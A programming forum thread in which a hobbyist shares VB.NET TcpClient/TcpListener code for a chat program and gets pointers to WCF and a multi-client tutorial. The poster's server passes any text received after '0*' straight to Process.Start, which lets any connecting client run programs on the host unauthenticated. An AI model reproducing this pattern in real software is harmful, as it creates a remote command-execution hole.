client/server chat program help

[dariou]

hello all i am dariou i am a vb.net programmer well not really i like programming as a hobby but my real job is in media anyway i am making a client/server chat program and i need some help first of all my idea is this :

you use the client to connect to the server and start chatting now the server should take the sent text and send it to all connected clients and i have no idea how to do so this is the code i used : (please if you see any error let me know i would be really thankful)

also i want the client to show all connected user in a label as user1 and user 2 as user2 and so on any help please ? and do you think that my code can handle more than one connection to the server ? or do i need to do something.... as i said im not a pro its just a hobby of mine any help would be great thanks in advance

client code:

Imports System.Net
Imports System.Net.Sockets
Imports System.IO
 
Public Class Form1
    ' variables 
    Dim sock As New TcpClient()
    Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
    Dim port As Integer = 777
    ' function to call when connecting 
    Private Sub connect()
        ip = IPAddress.Parse(TextBox1.Text)
        port = TextBox2.Text
        Try
            sock.Connect(ip, port)
 
        Catch ex As Exception
            MsgBox("cannot connect to desired ip at this time, might be connection error or IP is offline")
        End Try
    End Sub
    ' function to send data to server 
    Private Sub dat(ByVal dat As String)
        Dim nstream As NetworkStream = sock.GetStream()
        Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
        nstream.Write(bit, 0, bit.Length)
    End Sub
 
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        connect()
    End Sub
 
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        ' disconnecting
        sock.Close()
        If sock.Connected = True Then
            MessageBox.Show("Error : sorry cant  disconnect for some reason try again, thnx")
        End If
    End Sub
 
    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        ' sending data
        dat("0*" + RichTextBox2.Text)
    End Sub
End Class

server code :

Imports System.Web
Imports System.Net
Imports System.IO
Imports System.Net.Sockets
Imports Microsoft.Win32
Public Class Server
    Dim port As Integer = 777
    Dim tcpListen As New TcpListener(port)
    Dim sock As New TcpClient()
 
    Private Sub listen()
        Try
            tcpListen.Start()
            sock = tcpListen.AcceptTcpClient()
        Catch ex As Exception
        End Try
    End Sub
 
    Private Sub check()
        If sock.Connected = True Then
            sock.SendTimeout = 5000
            Try
                Dim nstream As NetworkStream = sock.GetStream
                Dim bit(sock.ReceiveBufferSize) As Byte
                nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
                Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
                Dim id() As String = Split(str, "*", -1, CompareMethod.Text)
 
 
                If id(0) = 0 Then
                    Dim stri As String = id(1)
                    Process.Start(stri)
                End If
            Catch ex As Exception
                check()
            End Try
        End If
    End Sub
 
 
    Private Sub Server_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        While sock.Connected = False
            Try
                listen()
            Catch ex As Exception
            End Try
        End While
 
 
        While True
            check()
        End While
 
 
    End Sub
End Class

[chris128]

Welcome to the forums
I think a guy on here named Athiest posted some tutorials/guides on how to make a generic chat program so you might want to take a look at that. Do a search in the codebank section and if you cant find it then post back here and I will try and dig it out

Another thing to consider is using WCF instead of the TCPClient classes, but that would require quite a lot of changes to your application architecture etc. Using WCF you can have your clients 'subscribe' to events on the server so that when one client sends a message to the server, the server could raise a callback event in all of the other 'subscribed' clients and they could then process the message. You could do the same using TCPClient etc but it just generally simplifies things and makes things easier using WCF in my opinion. Might be worth just looking into though to see if it would benefit you

[dariou]

thanks alot man really appreciate it i'll take a look at that tut you talk about

thanks

[chris128]

No problem, if you do decide to go down the WCF route (personally I would use WCF but thats just me, I like just working with managed objects and not having to convert things into bytes and use buffers etc ) then if you have any WCF specific problems/questions you can post them here: http://www.vbforums.com/forumdisplay.php?f=86

[dariou]

well i would really appreciate it if you can find me that tut you talked about cuz i cant find it

thanks in advance man u been of great help thanks again

[chris128]

my bad its not in the codebank, its here: http://www.vbforums.com/showthread.php?t=502795
Quite long...

[dariou]

thanks alot man im going to read it right now mean while if anyone else has any idea's please dont be shy to talk :P :P

[dariou]

sorry for the double post really

i found a way how to make the server send the text to all connected clients but i have a question can i use this code (provided by Atheist) for the server with the client code that i made or do i have to change the client code? :

   1.
      Public Class Form1
   2.
          Private listener As System.Net.Sockets.TcpListener
   3.
          Private listenThread As System.Threading.Thread
   4.
       
   5.
          Private clients As New List(Of ConnectedClient) 'This list will store all connected clients.
   6.
       
   7.
          Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
   8.
              listener = New System.Net.Sockets.TcpListener(System.Net.IPAddress.Any, 43001) 'The TcpListener will listen for incoming connections at port 43001
   9.
              listener.Start() 'Start listening.
  10.
              listenThread = New System.Threading.Thread(AddressOf doListen) 'This thread will run the doListen method
  11.
              listenThread.IsBackground = True 'Since we dont want this thread to keep on running after the application closes, we set isBackground to true.
  12.
              listenThread.Start() 'Start executing doListen on the worker thread.
  13.
          End Sub
  14.
       
  15.
          Private Sub doListen()
  16.
              Dim incomingClient As System.Net.Sockets.TcpClient
  17.
              Do
  18.
                  incomingClient = listener.AcceptTcpClient 'Accept the incoming connection. This is a blocking method so execution will halt here until someone tries to connect.
  19.
                  Dim connClient As New ConnectedClient(incomingClient, Me) 'Create a new instance of ConnectedClient (check its constructor to see whats happening now).
  20.
                  AddHandler connClient.dataReceived, AddressOf Me.messageReceived
  21.
                  clients.Add(connClient) 'Adds the connected client to the list of connected clients.
  22.
       
  23.
              Loop
  24.
          End Sub
  25.
       
  26.
          Public Sub removeClient(ByVal client As ConnectedClient)
  27.
              If clients.Contains(client) Then
  28.
                  clients.Remove(client)
  29.
              End If
  30.
          End Sub
  31.
       
  32.
          Private Sub messageReceived(ByVal sender As ConnectedClient, ByVal message As String)
  33.
              'A message has been received from one of the clients.
  34.
              'To determine who its from, use the sender object.
  35.
              'sender.SendMessage can be used to reply to the sender.
  36.
       
  37.
              Dim data() As String = message.Split("|"c) 'Split the message on each | and place in the string array.
  38.
              Select Case data(0)
  39.
                  Case "CONNECT"
  40.
                      'We use GetClientByName to make sure no one else is using this username.
  41.
                      'It will return Nothing if the username is free.
  42.
                      'Since the client sent the message in this format: CONNECT|UserName, the username will be in the array on index 1.
  43.
                      If GetClientByName(data(1)) Is Nothing Then
  44.
                          'The username is not taken, we can safely assign it to the sender.
  45.
                          sender.Username = data(1)
  46.
                      End If
  47.
                  Case "DISCONNECT"
  48.
                      removeClient(sender)
  49.
              End Select
  50.
       
  51.
          End Sub
  52.
       
  53.
          Private Function GetClientByName(ByVal name As String) As ConnectedClient
  54.
              For Each cc As ConnectedClient In clients
  55.
                  If cc.Username = name Then
  56.
                      Return cc 'client found, return it.
  57.
                  End If
  58.
              Next
  59.
              'If we've reached this part of the method, there is no client by that name
  60.
              Return Nothing
  61.
          End Function
  62.
      End Class